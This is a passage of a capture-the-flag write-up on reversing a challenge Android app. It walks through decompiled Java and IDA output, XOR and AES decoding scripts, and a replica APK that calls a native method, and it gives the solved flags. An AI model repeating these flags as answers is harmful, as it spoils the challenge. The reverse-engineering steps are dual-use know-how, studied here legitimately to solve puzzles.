f7fb7ca949a22ed84"</span><span class="o">;</span>
<span class="kd">static</span> <span class="nc">String</span> <span class="nf">bin2hex</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte</span><span class="o">)</span>
<span class="o">{</span>
<span class="k">return</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"%0"</span> <span class="o">+</span> <span class="n">paramArrayOfByte</span><span class="o">.</span><span class="na">length</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="s">"X"</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[]</span> <span class="o">{</span> <span class="k">new</span> <span class="nc">BigInteger</span><span class="o">(</span><span class="mi">1</span><span class="o">,</span> <span class="n">paramArrayOfByte</span><span class="o">)</span> <span class="o">});</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">decrypt</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte1</span><span class="o">,</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte2</span><span class="o">)</span>
<span class="kd">throws</span> <span class="nc">Exception</span>
<span class="o">{</span>
<span class="nc">SecretKeySpec</span> <span class="n">a</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SecretKeySpec</span><span class="o">(</span><span class="n">paramArrayOfByte1</span><span class="o">,</span> <span class="s">"AES"</span><span class="o">);</span>
<span class="nc">Cipher</span> <span class="n">localCipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"AES/ECB/PKCS5Padding"</span><span class="o">);</span>
<span class="n">localCipher</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="mi">2</span><span class="o">,</span> <span class="n">a</span><span class="o">);</span>
<span class="k">return</span> <span class="n">localCipher</span><span class="o">.</span><span class="na">doFinal</span><span class="o">(</span><span class="n">paramArrayOfByte2</span><span class="o">);</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">getHash</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString</span><span class="o">)</span>
<span class="o">{</span>
<span class="k">try</span>
<span class="o">{</span>
<span class="nc">MessageDigest</span> <span class="n">localMessageDigest</span> <span class="o">=</span> <span class="nc">MessageDigest</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"SHA-256"</span><span class="o">);</span>
<span class="n">localMessageDigest</span><span class="o">.</span><span class="na">reset</span><span class="o">();</span>
<span class="k">return</span> <span class="nf">bin2hex</span><span class="o">(</span><span class="n">localMessageDigest</span><span class="o">.</span><span class="na">digest</span><span class="o">(</span><span class="n">paramString</span><span class="o">.</span><span class="na">getBytes</span><span class="o">()));</span>
<span class="o">}</span>
<span class="k">catch</span> <span class="o">(</span><span class="nc">NoSuchAlgorithmException</span> <span class="n">e</span><span class="o">)</span>
<span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="k">return</span> <span class="s">""</span><span class="o">;</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">plainText</span><span class="o">()</span>
<span class="kd">throws</span> <span class="nc">Exception</span>
<span class="o">{</span>
<span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="n">hex2bytes</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">decrypt</span><span class="o">(</span><span class="n">hex2bytes</span><span class="o">(</span><span class="s">"0123456789ABCDEF0123456789ABCDEF"</span><span class="o">),</span> <span class="n">hex2bytes</span><span class="o">(</span><span class="n">encryptedHex</span><span class="o">))).</span><span class="na">trim</span><span class="o">()));</span>
<span class="o">}</span>
<span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">hex2bytes</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString</span><span class="o">)</span>
<span class="o">{</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">arrayOfByte</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="n">paramString</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">/</span> <span class="mi">2</span><span class="o">];</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
<span class="k">while</span> <span class="o">(</span><span class="n">i</span> <span class="o"><</span> <span class="n">arrayOfByte</span><span class="o">.</span><span class="na">length</span><span class="o">)</span>
<span class="o">{</span>
<span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">i</span> <span class="o">*</span> <span class="mi">2</span><span class="o">;</span>
<span class="n">arrayOfByte</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="o">((</span><span class="kt">byte</span><span class="o">)</span><span class="nc">Integer</span><span class="o">.</span><span class="na">parseInt</span><span class="o">(</span><span class="n">paramString</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="n">j</span><span class="o">,</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">2</span><span class="o">),</span> <span class="mi">16</span><span class="o">));</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">return</span> <span class="n">arrayOfByte</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running this, we obtain what appears to be morse code.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre>→ java Solve
DASH DOT DASH DOT SPACE DOT DASH SPACE DOT DASH DASH DOT SPACE DOT DASH DASH SPACE DASH DOT SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DASH SPACE DASH DOT DASH DOT SPACE DASH DOT DASH SPACE DOT SPACE DASH SPACE DASH DOT DASH DOT SPACE DOT DASH DOT SPACE DASH DOT DASH DASH SPACE DOT DASH DASH DOT SPACE DASH DASH DOT DOT DOT SPACE DASH DASH DASH DASH DASH SPACE DASH DOT DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DOT DOT DOT DASH SPACE DOT DASH DASH DOT SPACE DOT DOT DOT DOT SPACE DASH DOT DASH DASH SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DOT DASH DASH DASH DASH SPACE DOT DOT DOT DOT DOT SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DOT DOT DOT DOT SPACE DOT DOT DOT DOT DASH SPACE DOT DASH DOT SPACE DASH DOT DOT SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DASH DASH DASH DASH DASH SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DASH SPACE DASH DOT DASH DOT SPACE DASH DOT DASH SPACE DOT SPACE DASH
</pre></td></tr></tbody></table></code></pre></figure>
<p>Converting this to real dots and dashes, we get the following morse code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-.-. .- .--. .-- -. -... .-. .- -.-. -.- . - -.-. .-. -.-- .--. --... ----- -.... .-. ....- .--. .... -.-- ..- -. -.. . .-. ... -.-. --- .-. . .---- ..... ..- -. -.. . .-. ... -.-. --- .-. . .... ....- .-. -.. ..- -. -.. . .-. ... -.-. --- .-. . -... .-. ----- -... .-. .- -.-. -.- . -
</code></pre></div></div>
<p>The morse code is then translated to our second flag, <code class="language-plaintext highlighter-rouge">cApwN{CRYP706R4PHY_15_H4RD_BR0}</code>.</p>
<h2 id="level-3">Level 3</h2>
<blockquote>
<p>Think you can solve level 3?</p>
</blockquote>
<p>Looking back, we can immediately focus onto <code class="language-plaintext highlighter-rouge">Level3Activity.class</code> to begin our hunt for the third flag. Also a very simple class, we can trace the <code class="language-plaintext highlighter-rouge">onClick</code> method to <code class="language-plaintext highlighter-rouge">MonteCarlo.start()</code>.</p>
<p>In <code class="language-plaintext highlighter-rouge">MonteCarlo</code>, the class seems to be trying to approximate the value of Pi, which is consistent with what the name suggests. Everything else in the class seems normal except for a call to another class <code class="language-plaintext highlighter-rouge">ArraysArraysArrays.start()</code> and a JNI method being declared and not called anywhere.</p>
<p>Starting with <code class="language-plaintext highlighter-rouge">ArraysArraysArrays</code>, this class seems to be sorting arrays of integers and printing them after. However, again, a JNI method <code class="language-plaintext highlighter-rouge">x()</code> is declared, but is called in the <code class="language-plaintext highlighter-rouge">start</code> method this time.</p>
<p>To analyze the JNI method, we can view the <code class="language-plaintext highlighter-rouge">libnative-lib.so</code> file in IDA and focus on the method directly. The decompilation of the method is as follows:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="code"><pre><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">Java_com_h1702ctf_ctfone_ArraysArraysArrays_x</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// r4@1</span>
<span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// r0@2</span>
<span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// r6@4</span>
<span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// r0@5</span>
<span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// r0@8</span>
<span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// r0@10</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">byte_C113</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">do</span>
<span class="p">{</span>
<span class="n">byte_C113</span><span class="p">[</span><span class="n">v2</span><span class="p">]</span> <span class="o">=</span> <span class="n">byte_C05B</span><span class="p">[</span><span class="n">v2</span><span class="p">]</span> <span class="o">^</span> <span class="mh">0x3D</span><span class="p">;</span>
<span class="o">++</span><span class="n">v2</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">!=</span> <span class="mi">29</span> <span class="p">);</span>
<span class="p">}</span>
<span class="n">v3</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v1</span> <span class="o">+</span> <span class="mi">24</span><span class="p">))(</span><span class="n">v1</span><span class="p">,</span> <span class="n">byte_C113</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">byte_C131</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">do</span>
<span class="p">{</span>
<span class="n">byte_C131</span><span class="p">[</span><span class="n">v4</span><span class="p">]</span> <span class="o">=</span> <span class="n">aIYi_x</span><span class="p">[</span><span class="n">v4</span><span class="p">]</span> <span class="o">^</span> <span class="mh">0x2C</span><span class="p">;</span>
<span class="o">++</span><span class="n">v4</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">!=</span> <span class="mi">7</span> <span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">byte_C139</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">do</span>
<span class="p">{</span>
<span class="n">byte_C139</span><span class="p">[</span><span class="n">v5</span><span class="p">]</span> <span class="o">=</span> <span class="n">byte_C081</span><span class="p">[</span><span class="n">v5</span><span class="p">]</span> <span class="o">^</span> <span class="mh">0x58</span><span class="p">;</span>
<span class="o">++</span><span class="n">v5</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">v5</span> <span class="o">!=</span> <span class="mi">3</span> <span class="p">);</span>
<span class="p">}</span>
<span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v1</span> <span class="o">+</span> <span class="mi">452</span><span class="p">))(</span><span class="n">v1</span><span class="p">,</span> <span class="n">v3</span><span class="p">,</span> <span class="n">byte_C131</span><span class="p">,</span> <span class="n">byte_C139</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">result</span> <span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">_JNIEnv</span><span class="o">::</span><span class="n">CallStaticVoidMethod</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Here it is obvious that some constant in the library is being decrypted with a fixed key. Using a quick Python script, we can quickly decrypt the constants.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">first</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x5E</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0x55</span><span class="p">,</span> <span class="mh">0xC</span><span class="p">,</span> <span class="mh">0xA</span><span class="p">,</span> <span class="mh">0xD</span><span class="p">,</span> <span class="mh">0xF</span><span class="p">,</span><span class="mh">0x5E</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x5B</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0x5E</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x5B</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0x6F</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x4C</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x4E</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x4F</span><span class="p">]</span>
<span class="k">print</span> <span class="n">xor</span><span class="p">(</span><span class="n">first</span><span class="p">,</span><span class="mh">0x3d</span><span class="p">)</span>
<span class="n">second</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x5E</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x5D</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x5F</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">]</span>
<span class="k">print</span> <span class="n">xor</span><span class="p">(</span><span class="n">second</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">)</span>
<span class="n">third</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x70</span><span class="p">,</span><span class="mh">0x71</span><span class="p">,</span><span class="mh">0xE</span><span class="p">]</span>
<span class="k">print</span> <span class="n">xor</span><span class="p">(</span><span class="n">third</span><span class="p">,</span><span class="mh">0x58</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running the script gives us the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>com/h1702ctf/ctfone/Requestor
request
()V
</code></pre></div></div>
<p>Together with the decompilation of the class, we can quickly infer that the JNI method <code class="language-plaintext highlighter-rouge">x()</code> is calling the <code class="language-plaintext highlighter-rouge">request</code> method located in <code class="language-plaintext highlighter-rouge">com/h1702ctf/ctfone/Requestor</code>. With that, we can quickly return to JD-GUI to look at the <code class="language-plaintext highlighter-rouge">Requestor</code> class.</p>
<p>In the <code class="language-plaintext highlighter-rouge">Requestor</code> class, we see that the method is used to make a request to <code class="language-plaintext highlighter-rouge">https://h1702ctf.com/About</code> and a custom header key/value is added with the values obtained through two other JNI methods <code class="language-plaintext highlighter-rouge">hName</code> and <code class="language-plaintext highlighter-rouge">hVal</code>.</p>
<p>Returning to IDA, we see that in the two JNI methods, constants are being decrypted with a fixed xor key again. Again, with a Python script, we easily decrypt the two constants to get the following:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre><span class="n">headerKey</span> <span class="o">=</span><span class="p">[</span><span class="mh">0x6F</span><span class="p">,</span><span class="mh">0x1A</span><span class="p">,</span><span class="mh">0x7B</span> <span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x5B</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span><span class="mh">0x1A</span><span class="p">,</span><span class="mh">0x71</span><span class="p">,</span><span class="mh">0x5B</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x50</span><span class="p">]</span>
<span class="k">print</span> <span class="n">xor</span><span class="p">(</span><span class="n">headerKey</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">)</span>
<span class="n">headerValue</span> <span class="o">=</span><span class="p">[</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x0F</span><span class="p">,</span> <span class="mh">0x6C</span><span class="p">,</span> <span class="mh">0x7D</span><span class="p">,</span> <span class="mh">0x6C</span><span class="p">,</span> <span class="mh">0x0C</span><span class="p">,</span> <span class="mh">0x6F</span><span class="p">,</span> <span class="mh">0x47</span><span class="p">,</span> <span class="mh">0x6B</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span>
<span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x6C</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x4E</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span>
<span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x0F</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x4D</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6A</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x0F</span><span class="p">,</span>
<span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x6A</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x4D</span><span class="p">,</span> <span class="mh">0x6A</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x0E</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span>
<span class="mh">0x5D</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x0F</span><span class="p">,</span> <span class="mh">0x6B</span><span class="p">,</span> <span class="mh">0x5F</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x4E</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span>
<span class="mh">0x6B</span><span class="p">,</span> <span class="mh">0x46</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x6C</span><span class="p">,</span> <span class="mh">0x4F</span><span class="p">,</span> <span class="mh">0x5C</span><span class="p">,</span> <span class="mh">0x7B</span><span class="p">,</span> <span class="mh">0x6C</span><span class="p">,</span> <span class="mh">0x5F</span><span class="p">,</span>
<span class="mh">0x5B</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0x7F</span><span class="p">,</span> <span class="mh">0x0B</span><span class="p">,</span> <span class="mh">0x6F</span><span class="p">,</span> <span class="mh">0x0C</span><span class="p">,</span> <span class="mh">0x5D</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x6E</span><span class="p">,</span> <span class="mh">0x6F</span><span class="p">,</span>
<span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">]</span>
<span class="k">print</span> <span class="n">xor</span><span class="p">(</span><span class="n">headerValue</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></figure>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>X-Level3-Flag
V1RCR2QyUXdOVGROVmpnd1lsWTVkV1JYTVdsTk0wcG1UakpvZVUxNlRqbERaejA5Q2c9PQo=
</code></pre></div></div>
<p>It is apparent that the header value is a base64 encoded value. We can easily decode it to obtain our third flag!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In [6]: "V1RCR2QyUXdOVGROVmpnd1lsWTVkV1JYTVdsTk0wcG1UakpvZVUxNlRqbERaejA5Q2c9PQo=".deco
...: de('base64').decode('base64').decode('base64')
Out[6]: 'cApwN{1_4m_numb3r_7hr33}\n'
</code></pre></div></div>
<h2 id="level-4">Level 4</h2>
<blockquote>
<p>Hope you kept your notes.</p>
</blockquote>
<p>Challenge 4 stumbled me for awhile, it wasn’t as obvious as to where to begin as compared to the previous 3 challenges. However, recalling the unused JNI method declared in the <code class="language-plaintext highlighter-rouge">MonteCarlo</code> class, it soon became apparent to me that the solution of Challenge 4 would be given by invoking the <code class="language-plaintext highlighter-rouge">functionnameLeftbraceOneCommaTwoCommaThreeCommaRightbraceFour</code> class with the flags of the first 3 challenge.</p>
<p>There is two way to approach this:</p>
<ol>
<li>Create an APK to call the method in the native library directly.</li>
<li>Use frida to invoke the method with the correct parameters.</li>
</ol>
<p>As I do not have frida readily available beside me, I chose to go with method #1. Using a simple template provided by Android Studio, I quickly write up a simple APK that loads the same library and calls the method with the flags as parameter.</p>
<p>Note that we’d have to replicate an APK with the same package name and class in order for this method to work smoothly.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre><span class="kn">package</span> <span class="nn">com.h1702ctf.ctfone</span><span class="o">;</span>
<span class="cm">/**
* Created by quanyang on 11/7/17.
*/</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">MonteCarlo</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">native</span> <span class="nc">String</span> <span class="nf">functionnameLeftbraceOneCommaTwoCommaThreeCommaRightbraceFour</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString1</span><span class="o">,</span> <span class="nc">String</span> <span class="n">paramString2</span><span class="o">,</span> <span class="nc">String</span> <span class="n">paramString3</span><span class="o">);</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">test</span><span class="o">()</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">a</span><span class="o">=</span><span class="s">"cApwN{WELL_THAT_WAS_SUPER_EASY}"</span><span class="o">;</span>
<span class="nc">String</span> <span class="n">b</span><span class="o">=</span><span class="s">"CAPWN{CRYP706R4PHY_15_H4RD_BR0}"</span><span class="o">;</span>
<span class="nc">String</span> <span class="n">c</span><span class="o">=</span><span class="s">"cApwN{1_4m_numb3r_7hr33}"</span><span class="o">;</span>
<span class="k">return</span> <span class="nf">functionnameLeftbraceOneCommaTwoCommaThreeCommaRightbraceFour</span><span class="o">(</span><span class="n">a</span><span class="o">,</span><span class="n">b</span><span class="o">,</span><span class="n">c</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>With that, we obtain our 4th flag!</p>
<p><img src="https://quanyang.github.io/resources/images/h1702/challenge4_flag.jpg" alt="" /></p>
<p>4th Flag: <code class="language-plaintext highlighter-rouge">cApwN{w1nn3r_w1nn3r_ch1ck3n_d1nn3r!}</code></p>
<h2 id="level-5">Level 5</h2>
<blockquote>
<p>Hmmm… looks like you need to get past something…<br />
<a href="https://h1702ctf.com/themes/h1ctf/static/chals/ctfone5-8d51e73cf81c0391575de7b40226f19645777322.apk">ctfone5-8d51e73cf81c0391575de7b40226f19645777322.apk</a></p>
</blockquote>
<p>Similarly, I start with decoding/decompilation of the APK with <code class="language-plaintext highlighter-rouge">apktool</code> and <code class="language-plaintext highlighter-rouge">dex2jar</code>.</p>
<p>Looking at the <code class="language-plaintext highlighter-rouge">AndroidManifest.xml</code>,</p>
<figure class="highlight"><pre><code class="language-xml" data-lang="xml"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre><span class="cp"><?xml version="1.0" encoding="utf-8" standalone="no"?></span>
<span class="nt"><manifest</span> <span class="na">xmlns:android=</span><span class="s">"http://schemas.android.com/apk/res/android"</span> <span class="na">package=</span><span class="s">"com.h1702ctf.ctfone5"</span> <span class="na">platformBuildVersionCode=</span><span class="s">"25"</span> <span class="na">platformBuildVersionName=</span><span class="s">"7.1.1"</span><span class="nt">></span>
<span class="nt"><meta-data</span> <span class="na">android:name=</span><span class="s">"android.support.VERSION"</span> <span class="na">android:value=</span><span class="s">"25.3.1"</span><span class="nt">/></span>
<span class="nt"><application</span> <span class="na">android:allowBackup=</span><span class="s">"true"</span> <span class="na">android:icon=</span><span class="s">"@mipmap/ic_launcher"</span> <span class="na">android:label=</span><span class="s">"@string/app_name"</span> <span class="na">android:supportsRtl=</span><span class="s">"true"</span> <span class="na">android:theme=</span><span class="s">"@style/AppTheme"</span><span class="nt">></span>
<span class="nt"><activity</span> <span class="na">android:background=</span><span class="s">"@drawable/stars"</span> <span class="na">android:label=</span><span class="s">"@string/app_name"</span> <span class="na">android:name=</span><span class="s">"com.h1702ctf.ctfone5.MainActivity"</span> <span class="na">android:theme=</span><span class="s">"@style/AppTheme.NoActionBar"</span><span class="nt">></span>
<span class="nt"><intent-filter></span>
<span class="nt"><action</span> <span class="na">android:name=</span><span class="s">"android.intent.action.MAIN"</span><span class="nt">/></span>
<span class="nt"><category</span> <span class="na">android:name=</span><span class="s">"android.intent.category.LAUNCHER"</span><span class="nt">/></span>
<span class="nt"></intent-filter></span>
<span class="nt"></activity></span>
<span class="nt"><service</span> <span class="na">android:exported=</span><span class="s">"true"</span> <span class="na">android:name=</span><span class="s">"com.h1702ctf.ctfone5.CruelIntentions"</span><span class="nt">/></span>
<span class="nt"></application></span>
<span class="nt"></manifest></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We see that there is an additional service linked to the class <code class="language-plaintext highlighter-rouge">com.h1702ctf.ctfone5.CruelIntentions</code>. From the unpacked APK, we can also find a native library <code class="language-plaintext highlighter-rouge">libnative-lib.so</code>.</p>
